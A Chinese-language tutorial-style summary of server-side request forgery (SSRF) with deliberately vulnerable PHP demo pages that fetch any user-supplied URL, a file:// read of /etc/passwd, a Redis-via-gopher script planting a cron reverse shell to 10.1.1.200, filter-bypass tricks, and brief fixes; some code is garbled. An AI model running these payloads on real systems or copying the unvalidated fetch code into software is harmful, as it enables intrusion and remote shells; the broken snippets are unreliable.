SSRF总结

file_get_contents() 把文件写入字符串
并且可以

fsockopen() 获取用户制定 url的数据(文件或者html).这个函数会使用socker
可以去请求一个网页

curl_exec()

curl -v “file://etc/passwd”

file协议用于读取系统敏感文件

dict查看端口服务信息

http协议可用于探测内网(结合python脚本)

无回显的话
可以用到和CSRF中的burp工具

有回显

可以使用Dict协议、 File协议、 gopher协议、 http协议

curl_exec.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>curl_exec使用</title>
</head>
<body>
    <form action="#" method="get">
        <input type="text" name="url"><input type="submit" name="submit" value="submit">
    </form>
</body>
</html>

error_reporting(0);
if(isset($_GET['submit'])){
    if(isset($_GET['url'])){
        $link = $_GET['url'];
        //$filename = './'.rand().',txt';
        $curlobj = curl_init($link);        //初始化, 创建一个新的cURL资源
        curl_setopt($curlobj, CURLOPT_FILE, $link); //需要POST的数据
        curl_setopt($curlobj, CURLOPT_HEADER, 0);   //将文件头的信息作为数据流输出
        $result = curl_exec($curlobj);
        curl_exec($curlobj);        //抓取url并把他传递给浏览器
        curl_close($curlobj);       //关闭cURL资源, 并且释放资源
        echo $result;
    }
}

?>

file_get_contents.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>curl_exec使用</title>
</head>
<body>
    <form action="#" method="post">
        <input type="text" name="url"><input type="submit" name="submit" value="submit">
    </form>
</body>
</html>

if(isset($_POST['submit'])){
    if(isset($_POST['url'])){
        echo $_POST['url'];
        $content = file_get_contents($_POST['url']);
        $filename = './images/'.rand().'.img';\
        file_put_contents($filename,$content);
        echo $_POST['url'];
        $img = ".$filename."\"/>";
    }
    echo $img;
}
?>

fsockopen.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>curl_exec使用</title>
</head>
<body>
    <form action="#" method="get">
        <input type="text" name="url"><input type="submit" name="submit" value="submit">
    </form>
</body>
</html>

if(isset($_GET['submit'])){
    $host = $_GET['url'];
    $fp = fsockopen("$host", 80, $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr ($errno)
\n"
; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while(!feof($fp)){ echo fgets($fp, 128); } fclose($fp); } } ?>

无回显

DNS、 http外带通道

利用gopher可以发送各种形式的请求包,这样就可以解决漏洞点不在GET参数的问题了
Redis任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在root权限运行的Radis服务,利用gopher协议攻击内网中的Redis

利用gopher协议getshell

flushall: 删除所有数据库中的所有key
-x参数: 从标准输入读取一个参数
在redis的第0个数据库中添加key为1,value字段最后会多一个n是因为echo重定向最后会带一个换行符
dir数据库备份的文件防止路径
dbfilename备份文件的文件名

redis-cli -h $i flushall
echo -e “\n\n*/1 * * * * bash -i >& /dev/tcp/10.1.1.200/666 0>&1\n\n”|redis-cli
-h $1 -x -set 1
redis-cli -h &1 config set dir /var/spool/cron
redis-cli -h &1 config set dbfilename root
redis-cli -h &1 save

使用socat进行端口转发,利用这个脚本攻击自身并抓包的到数据流
#socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
即访问本地2333端口相当于访问6379号端口
然后执行脚本得到数据流
bash shell.sh 127.0.0.1 2333

绕过姿势

IP转化为十进制整数格式
八进制
十六进制
十六进制整数格式

添加端口

exp: 127.0.0.1:80

利用短网址

利用Enclose alphanumerics

即字母外圆圈
exp:@ >>> a

利用句号

127.0.0.1 >>> 127。0.0.1

漏洞修复

1.过滤返回信息,验证远程服务器对请求的响应
2.统一错误信息
3.限制请求的端口为http常用的端口
4.禁用不需要的协议,仅允许http和https请求
5.设置url白名单或限制内网ip

你可能感兴趣的:(php)